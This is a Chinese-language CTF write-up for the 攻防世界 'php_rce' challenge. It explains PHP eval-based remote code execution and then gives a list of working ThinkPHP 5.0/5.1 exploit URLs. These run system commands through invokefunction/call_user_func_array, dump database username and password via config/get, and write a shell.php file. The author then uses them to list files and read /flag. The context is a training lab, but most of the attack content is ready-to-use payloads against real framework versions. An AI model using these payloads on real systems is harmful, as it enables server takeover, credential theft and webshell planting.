[CTF/网络安全] 攻防世界 php_rce 解题详析
[CTF/网络安全] 攻防世界 php_rce 解题详析
PHP REC
PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。简单来说,由于PHP应用程序没有正确处理外部输入数据(如用户提交的表单、请求参数等),攻击者通过某些手段向 PHP 应用程序中注入恶意代码,然后通过这些恶意代码实现对受攻击服务器的控制。
下面简单介绍一种常见的远程 RCE 漏洞利用方式,即利用 PHP 中的 eval
函数实现 RCE 的方式。在该示例中,攻击者可以通过 HTTP 请求向目标服务器传递 PHP 代码,并执行该代码:
// 服务端代码
$user_input = $_GET['user_input']; // 没有对输入进行过滤
eval('$result = ' . $user_input . ';'); // 远程代码执行
// 攻击者构造恶意代码
http://example.com/index.php?user_input=system('ls%20-la');
//远程执行 "ls -la" 命令。
由于服务器代码没有对 user_input 的内容进行过滤和验证,攻击者可以通过 user_input 参数发送任意 PHP 代码,并将其作为一个字符串传递给 eval 函数进行执行,成功实现ls -la命令。
在 Unix/Linux 系统中,ls -la 命令可以列出当前目录下的所有文件和子目录,并显示它们的详细信息,包括权限、创建时间、大小等等。
ThinkPHP V5漏洞Payload
thinkphp 5.0.22
1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5
1、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
thinkphp 5.0.21
1、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
2、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkphp 5.1.
1、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
2、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
3、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
7、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
5.0.20
1、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
姿势
使用thinkphp 5.1.payload,
URL + /?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
回显如下:
提示使用5.0.20版本Payload
URL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
回显如下:
说明命令执行成功
接着抓取flag即可
PayloadURL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
由上图可知,flag字段储存在flag文件夹下的flag文件中
使用cat命令读取flag
PayloadURL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
命令解析及详析姿势参考:[CTF/网络安全] 攻防世界 command_execution 解题详析
回显如下:
总结
该题结合部分Linux命令
考察ThinkPHP V5漏洞
我是秋说,我们下次见。